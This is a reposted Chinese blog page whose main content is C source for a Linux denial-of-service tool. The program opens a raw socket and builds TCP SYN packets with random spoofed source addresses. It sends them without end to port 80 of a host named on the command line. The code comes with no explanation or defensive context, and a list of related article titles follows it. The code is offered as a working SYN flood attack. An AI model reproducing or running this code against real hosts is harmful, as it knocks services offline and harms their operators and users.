linux下c程式設計中的DOS攻擊程式(轉)
linux下c程式設計中的DOS攻擊程式(轉)[@more@]
CODE:
/******************** DOS.c *****************/
#include #include #include #include #include #include #include #include #include #define DESTPORT 80 #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s a",strerror(errno)); exit(1); } setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); setuid(getpid()); send_tcp(sockfd,&addr); } void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; struct ip *ip; struct tcphdr *tcp; int head_len; head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); ip=(struct ip *)buffer; ip->ip_v=IPVERSION; ip->ip_hl=sizeof(struct ip)>>2; ip->ip_tos=0; ip->ip_len=htons(head_len); ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=addr->sin_addr; tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; tcp->check=0; while(1) { ip->ip_src.s_addr=random(); tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } 來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-961907/,如需轉載,請註明出處,否則將追究法律責任。
上一篇:
mysql事務處理(轉)
下一篇:
MySQL的加密函式(轉)
請登入後發表評論
登入
全部評論
|
相關文章
- Linux下C語言程式設計(轉)LinuxC語言程式設計
- Linux下C語言程式設計簡介(轉)LinuxC語言程式設計
- 簡介DoS和DDoS的攻擊方法(轉)
- 12行JS程式碼的DoS攻擊分析及防禦JS
- Linux下的OpenGL程式設計(轉)Linux程式設計
- Avahi DOS攻擊broadcast-avahi-dosAST
- linux環境下的c++程式設計LinuxC++程式設計
- php安全程式設計—sql注入攻擊PHP程式設計SQL
- Linux下C語言程式設計基礎知識(轉)LinuxC語言程式設計
- Linux下的shell程式設計入門(轉)Linux程式設計
- 攻擊者使用SQLite資料庫中的惡意程式碼攻擊應用程式SQLite資料庫
- Linux下應用程式開發:QT中的多執行緒程式設計(轉)LinuxQT執行緒程式設計
- (整合)Linux下的多程式程式設計Linux程式設計
- 什麼是DOS?DOS攻擊型別有哪些?型別
- Linux下的GTK圖形介面程式設計(轉)Linux程式設計
- Linux下的OSS音訊介面程式設計(轉)Linux音訊程式設計
- Linux下的多執行緒程式設計(轉)Linux執行緒程式設計
- API設計中防重放攻擊API
- Linux 程式設計之Shell程式設計(轉)Linux程式設計
- (轉)Linux下 C++呼叫C 實現socket網路通訊程式設計LinuxC++程式設計
- Unix(Linux) C程式設計問題精粹 (轉)LinuxC程式程式設計
- Unix(Linux) C程式設計問題精粹(轉)LinuxC程式程式設計
- Unix(Linux)C程式設計問題精粹(轉)LinuxC程式程式設計
- C語言程式設計獲取PE檔案DOS頭C語言程式設計
- C#下資料庫程式設計(二) (轉)C#資料庫程式設計
- Linux核心模組程式設計--中斷處理程式(轉)Linux程式設計
- linux下的SHELL程式設計Linux程式設計
- 保護你的路由器遠離字典 DoS 攻擊(轉)路由器
- Linux 程式設計之Bash中的變數(轉)Linux程式設計變數
- [Linux C]CGI程式設計Linux程式設計
- linux C 的檔案程式設計Linux程式設計
- Linux核心程式設計(阻塞程式)(轉)Linux程式設計
- Dos下的滑鼠完全控制類 --- 使用它可以很好的控制你的Dos程式中的滑鼠事件! (轉)事件
- 構建Linux下的安全,PHP配置漏洞攻擊(轉)LinuxPHP
- linux作業系統下c語言程式設計入門(1)(轉)Linux作業系統C語言程式設計
- linux作業系統下c語言程式設計入門(2)(轉)Linux作業系統C語言程式設計
- 駭客知識之7種DoS攻擊方法簡述(轉)
- linux下bluetooth程式設計(三)HCI層程式設計Linux程式設計